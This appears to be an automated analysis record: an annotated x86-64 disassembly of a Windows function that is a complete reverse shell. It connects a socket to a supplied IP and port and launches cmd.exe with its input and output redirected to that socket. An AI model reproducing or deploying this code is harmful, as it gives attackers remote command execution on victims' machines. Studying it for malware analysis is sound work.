Function at 0x401540
Capabilities:
Create a process with modified i/o handles and window
Create process on windows
Link many functions at runtime

Disassembly:
push rbp
sub rsp, 0x2f0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x280], rcx
mov dword [rbp + 0x288], edx
lea rcx, str.ws2_32
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryW]
call rax
mov qword [rbp + 0x268], rax
mov rax, qword [rbp + 0x268]
lea rdx, str.WSAStartup
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x268]
lea rdx, str.WSASocketA
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x258], rax
mov rax, qword [rbp + 0x268]
lea rdx, str.inet_addr
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x250], rax
mov rax, qword [rbp + 0x268]
lea rdx, str.htons
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x248], rax
mov rax, qword [rbp + 0x268]
lea rdx, str.WSAConnect
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x240], rax
mov rax, qword [rbp + 0x268]
lea rdx, str.closesocket
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x238], rax
mov rax, qword [rbp + 0x268]
lea rdx, str.WSACleanup
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x230], rax
lea rax, [rbp + 0x70]
mov r8, qword [rbp + 0x260]
mov rdx, rax
mov ecx, 0x202
call r8
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov rax, qword [rbp + 0x258]
mov r9d, 0
mov r8d, 6
mov edx, 1
mov ecx, 2
call rax
mov qword [rbp + 0x228], rax
mov word [rbp + 0x210], 2
mov rax, qword [rbp + 0x250]
mov rcx, qword [rbp + 0x280]
call rax
mov dword [rbp + 0x214], eax
mov eax, dword [rbp + 0x288]
movzx eax, ax
mov rdx, qword [rbp + 0x248]
mov ecx, eax
call rdx
mov word [rbp + 0x212], ax
lea rdx, [rbp + 0x210]
mov rax, qword [rbp + 0x228]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r10, qword [rbp + 0x240]
mov r9d, 0
mov r8d, 0x10
mov rcx, rax
call r10
cmp eax, 0xffffffff
jne 0x401749
mov rax, qword [rbp + 0x228]
mov rdx, qword [rbp + 0x238]
mov rcx, rax
call rdx
mov rax, qword [rbp + 0x230]
call rax
jmp 0x401844
mov word [rbp + 0x6d], 0x6d63
mov byte [rbp + 0x6f], 0
mov dword [rbp + 0x67], 0x78652e64
mov word [rbp + 0x6b], 0x65
lea rdx, [rbp + 0x67]
lea rax, [rbp + 0x6d]
mov rcx, rax
call sym.strcat
mov qword [rbp + 0x220], rax
lea rax, [rbp - 0x30]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp - 0x30], 0x68
mov dword [rbp + 0xc], 0x101
mov rax, qword [rbp + 0x228]
mov qword [rbp + 0x30], rax
mov rax, qword [rbp + 0x30]
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
mov qword [rbp + 0x20], rax
mov rax, qword [rbp + 0x220]
lea rdx, [rbp + 0x40]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp - 0x30]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
mov rax, qword [rbp + 0x40]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp + 0x40]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x48]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
nop
add rsp, 0x2f0
pop rbp
ret